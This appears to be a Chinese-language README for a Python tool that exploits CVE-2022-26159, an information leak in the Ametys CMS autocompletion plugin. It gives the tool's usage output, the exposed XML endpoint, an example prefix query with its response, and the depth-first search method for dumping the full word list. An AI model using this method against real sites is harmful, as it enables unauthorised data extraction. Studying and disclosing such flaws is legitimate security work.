一个 Python 漏洞利用工具,可自动将 Ametys CMS 自动完成插件存储的所有数据转储到本地 sqlite 数据库文件中。

$ ./CVE-2022-26159-Ametys-Autocompletion-XML.py -h
CVE-2022-26159-Ametys-Autocompletion-XML v1.1 - by @podalirius
usage: CVE-2022-26159-Ametys-Autocompletion-XML.py [-h] -t TARGET [-H HEADERS] [-k] [-v | -q] [--no-colors]
Description message
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
arg1 help message
-H HEADERS, --header HEADERS
Specify HTTP headers to use in requests. (e.g., --header "Header1: Value1" --header "Header2: Value2")
-k, --insecure Disable SSL/TLS warnings and certificate verification.
-v, --verbose Verbose mode. (default: False)
-q, --quiet Quiet mode. (default: False)
--no-colors Disables colored output. (default: False)
Ametys CMS(<= 4.4.9)中的自动完成插件会在以下地址公开暴露一个包含单词列表的 XML 文件:
https://domain.tld/plugins/web/service/search/auto-completion/domain/en.xml
要对这个数据库发起请求,攻击者只需在 q(查询)参数中键入单词的开头:
https://domain.tld/plugins/web/service/search/auto-completion/domain/en.xml?q=adm
自动完成插件随后会以 XML 文件形式返回以 adm(来自查询)开头的前 10 个匹配单词:
<?xml version="1.0" encoding="UTF-8"?>
<auto-completion>
<item>administrateur</item>
<item>administrateurs</item>
<item>administratif</item>
<item>administratifs</item>
<item>administration</item>
<item>administrations</item>
<item>administrative</item>
<item>administratives</item>
<item>administres</item>
<item>admission</item>
</auto-completion>
因此,攻击者只需对 API 执行深度优先搜索即可提取其全部内容。
欢迎提交 Pull Request。如果你想添加其他功能,请随时打开 issue。